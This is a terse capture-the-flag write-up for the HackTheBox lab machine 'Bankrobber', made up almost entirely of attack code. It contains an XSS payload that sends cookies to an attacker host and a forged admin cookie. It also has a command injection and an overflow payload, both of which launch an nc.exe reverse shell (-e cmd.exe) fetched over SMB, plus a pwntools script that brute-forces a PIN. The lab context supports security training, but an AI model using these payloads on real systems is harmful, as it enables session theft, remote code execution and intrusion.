Bankrobber @ HackTheBox

Bankrobber is a 50-point machine on hackthebox that involves exploiting a cross site scripting vulnerability to gain access to an admin account, using a command injection to get a user shell and exploiting a simple buffer overflow to become system.

Notes

XSS-Payloads:

<script src="http://<ip>:8000/script.js"></script>

function addImg(){
    var img = document.createElement('img');
    img.src = 'http://<ip>:8000/' + document.cookie;
    document.body.appendChild(img);
}
addImg();

var xhr = new XMLHttpRequest();
document.cookie = "id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D";
var uri ="/admin/backdoorchecker.php";
xhr = new XMLHttpRequest();
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("cmd=dir|\\\\<ip>\\xshare\\share\\nc.exe <ip> 7000 -e cmd.exe");

SSF:

https://securesocketfunneling.github.io/ssf/#home

Python-Scripts:

from pwn import *

context.proxy = (socks.SOCKS4, 'localhost', 9090)
p = remote('localhost', 910, level='info')    
p.interactive()

from pwn import *

context.proxy = (socks.SOCKS4, 'localhost', 9090)

for i in range(1000):
    p = remote('localhost', 910, level='info')
    p.recvuntil('[$] ')
    pin = str(i).zfill(4)
    p.sendline(pin)
    result = p.recvline()
    if not "denied" in result:
        log.success("Found Pin:" + str(pin))
        break
p.interactive()

Overflow-Payload:

AAAAAAAABBBBBBBCCCCCCCCDDDDDDD\\\\10.10.14.2\xshare\share\nc.exe <ip> 7000 -e cmd.exe